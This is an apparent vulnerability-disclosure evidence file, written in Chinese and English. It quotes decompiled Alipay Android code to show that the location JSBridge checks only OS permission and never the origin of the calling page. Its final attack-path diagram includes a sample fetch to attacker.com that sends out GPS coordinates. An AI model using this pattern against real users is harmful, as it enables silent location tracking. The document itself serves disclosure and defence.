Files
alipay-deeplink-research/evidence/cve2/code_evidence.md
feng a3825c939f update: SEO/privacy overhaul — 36 CVE stats, redact case numbers, full sitemap
- Meta/OG/Twitter tags: 17→36 CVEs, 6→9+ countries, SecurityGuard SDK keywords
- Sitemap: 5→12 URLs with correct lastmod dates
- Privacy: redact CSSF/CIRCL/PDPC case numbers, mask regulator staff names
- Content: add 6 new article pages + evidence screenshots
- Numbers: update all CVE counts (6→36, 11 MITRE tickets)

Co-Authored-By: Claude <noreply@anthropic.com>
2026-03-25 05:28:06 +08:00

6.9 KiB
Raw Blame History

CVE-2: GPS静默外泄 (CWE-359) 代码证据

APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出 更新: 2026-03-16 — 补充完整 judgeGrant 代码证据

关键类/方法

H5LocationPlugin — judgeGrant() 权限检查逻辑

  • 文件: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java
  • 行号: 1367-1395
public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) {
    // ...
    boolean z = false;
    if (h5Page == null) {
        return false;
    }
    LBSService lBSService = (LBSService) ComponentService.get(LBSService.class);
    if (lBSService != null && lBSService.hasLocationPermission()) {
        z = true;   // 唯一判断条件: OS 级别的位置权限是否已授予支付宝进程
    }
    // 缺失检查: h5Page.getUrl() 的域名白名单
    // 缺失检查: 调用方 mini-program appId 白名单
    // 缺失检查: 用户针对本次请求页面的明确同意
    if (!z) {
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("error", (Object) 16);
        jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed"));
        if (h5BridgeContext != null) {
            h5BridgeContext.sendBridgeResult(jSONObject);
        }
    }
    return z;
}

H5LocationPlugin — getLocation() 分发

  • 文件: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java
  • 行号: 949-958
public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
    // ...
    LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation");
    if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
        new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent();
        // ^ 直接返回 GPS 坐标给 WebView 回调,无页面来源检查
    } else {
        LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth");
    }
}

H5LocationPlugin — onPrepare() JSAPI 注册 (无页面域名过滤)

  • 文件: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java
  • 行号: 1397-1426
@Override
public void onPrepare(H5EventFilter h5EventFilter) {
    // ...
    h5EventFilter2.addAction("getLocation");        // 所有加载的页面均可调用
    h5EventFilter2.addAction("getCurrentLocation");
    h5EventFilter2.addAction("prefetchLocation");
    // ... 16 个位置相关 API 均无来源过滤
    // 注意: 没有域名/appId 白名单过滤
}

原有分析 (保留)

Source: Alipay APK 10.8.30.8000 (jadx decompiled)

H5LocationPlugin — judgeGrant

File: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java Lines: 1367-1395

public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) {
    // ...
    boolean z = false;
    if (h5Page == null) {
        return false;
    }
    LBSService lBSService = (LBSService) ComponentService.get(LBSService.class);
    if (lBSService != null && lBSService.hasLocationPermission()) {
        z = true;
    }
    if (!z) {
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("error", (Object) 16);
        jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed"));
        if (h5BridgeContext != null) {
            h5BridgeContext.sendBridgeResult(jSONObject);
        }
        // ...
    }
    return z;
}

H5LocationPlugin — getLocation dispatch

File: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java Lines: 949-958

public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
    // ...
    LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation");
    if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
        new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent();
    } else {
        LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth");
    }
}

H5LocationPlugin — prefetchLocation also calls judgeGrant

File: sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java Lines: 1462-1469

public void prefetchLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
    // ...
    if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
        if (this.h5Location == null) {
            LoggerFactory.getTraceLogger().info("H5LocationPlugin", "prefetchLocation, h5Location == null");
        } else {
            this.h5Location.getLocation(h5Event, h5BridgeContext, new LocationListener(this, h5Event) { ... });
        }
    }
}

Vulnerability Analysis (原有)

The judgeGrant method is the sole access-control gate for the getLocation JSBridge API. Its decision logic is exactly: if the OS-level location permission has been granted to the Alipay process, return true. There is no inspection of the WebView page origin (URL/domain), no mini-program appId allowlist, and no user-visible consent prompt scoped to the requesting page.

Because Alipay routinely holds the OS location permission (required for native features such as nearby services and maps), lBSService.hasLocationPermission() returns true in practice for all users who have ever opened the app's location-dependent features. As a result, any untrusted page loaded in a Nebula WebView — including a page reached via the alipays://platformapi/startapp deep-link — can call the my.getLocation JSBridge method and receive the device's precise GPS coordinates without any additional user confirmation. The coordinates are returned in the JSBridge callback and can be forwarded to an attacker-controlled server silently in the background.


漏洞根因 (基于代码分析)

H5LocationPlugin.judgeGrant()getLocation JSAPI 的唯一访问控制门。其判断逻辑:

if (lBSService.hasLocationPermission()) → return true

该方法仅检查支付宝进程是否获得过 OS 位置权限(用户曾经授权即永久 true完全没有

  • 检查 h5Page.getUrl() 的域名
  • 检查调用方的 appId 白名单
  • 向用户展示"某页面想获取你的位置"的确认对话框

onPrepare() 在注册 getLocation 动作时也无任何域名过滤,任何加载到 Nebula H5 容器的页面均可触发。

攻击路径

攻击者控制的网页 (https://attacker.com)
    ↓  通过 CVE-1 DeepLink 或直接链接被加载进支付宝 WebView
    ↓
my.getLocation({ type: 2 })  [JSBridge 调用]
    ↓
H5LocationPlugin.handleEvent() → getLocation()
    ↓
judgeGrant(): lBSService.hasLocationPermission() == true  [用户曾授权过]
    ↓
H5GetLocationAction.handleEvent() → 获取精确 GPS 坐标
    ↓
坐标通过 JSBridge 回调返回给攻击者页面
    ↓
fetch("https://attacker.com/collect?lat=...&lng=...")  [静默上传]